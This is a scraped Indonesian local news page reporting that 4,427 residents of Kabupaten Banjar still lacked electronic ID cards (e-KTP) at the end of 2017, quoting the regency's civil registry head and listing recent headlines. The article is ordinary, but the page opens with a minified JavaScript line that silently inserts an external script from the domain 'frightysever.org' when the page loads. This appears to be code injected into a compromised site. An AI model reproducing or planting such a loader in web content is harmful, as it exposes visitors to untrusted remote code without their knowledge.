(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Publik

Masih Ada 4.427 Warga Banjar Belum Kantongi e-KTP


MARTAPURA, Kesadaran warga Kabupaten Banjar untuk memiliki Kartu Tanda Penduduk Elektronik (e-KTP) cukup tinggi. Ini terlihat dengan berjubelnya warga setiap hari kerja di Dinas Kependudukan dan Pencatatan Sipil Kabupaten Banjar, jalan Batuah Martapura.

Data dari kantor pelayanan tersebut menyebut sampai semester 2 per Desember 2017, warga Kabupaten Banjar hingga saat ini yang belum memiliki e-KTP mencapai 4.427 jiwa atau 1,7 % dari jumlah penduduk wajib e-KTP 398.289 jiwa.

“Jumlah warga yang belum memiliki E-KTP tersebut berangsur turun secara signifikan, karena beberapa waktu lalu tercatat sebanyak 23.000 jiwa yang belum memilikinya,” kata Kadisdukcapil Banjar Azwar kepada Kanal Kalimantan, Selasa (10/4).

Warga yang sudah melakukan perekaman dan memiliki data atau NIK sebanyak 393.862 jiwa, dengan jumlah pencetakan 376.598 atau 98,3%. Sisa e-KTP yang belum dicetak akan digenjot oleh Disdukcapil Banjar agar bisa cepat terselesaikan.

“Kita akan genjot terus pencetakannya, baik yang sisa atau yang baru, karena sampai Pemilu 2019 nanti pertambahan penduduk pasti ada, terutama para pelajar yang usianya sudah 17 tahun,”  kata Azwar.

Azwar meminta kepada warga yang sudah melakukan perekaman data agar bisa melakukan pencetakan e-KTP, terutama warga yang sudah mengantongi surat keterangan rekam e-KTP.

“Untuk blanko e-KTP kita tidak ada masalah, dan Mendagri sendiri menjamin akan ketersediannya, kalaupun nantinya mengalami kekurangan, pemerintah pusat akan mengirim blanko sesuai dengan permintaan,” katanya.

Sementara bagi warga yang belum sama sekali melakukan perekaman data agar bisa mendatangi kantor kecamatan terdekat atau Disdukcapil Banjar. Memiliki e-KTP sangatlah penting dan merupakan sebuah kebutuhan yang wajib bagi warga. Selain keperluan untuk segala urusan administrasi, E-KTP juga diperlukan pada pemilu presiden dan legislative yang akan digelar serentak pada 2019 mendatang.

“Silakan datang sendiri ke Disdukcapil dengan membawa data pendukung, pasti kita layani, dan semua itu gratis,” pungkasnya. (ronny)

Reporter : Ronny
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

6 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

7 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

9 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

10 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

10 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

10 jam ago

This website uses cookies.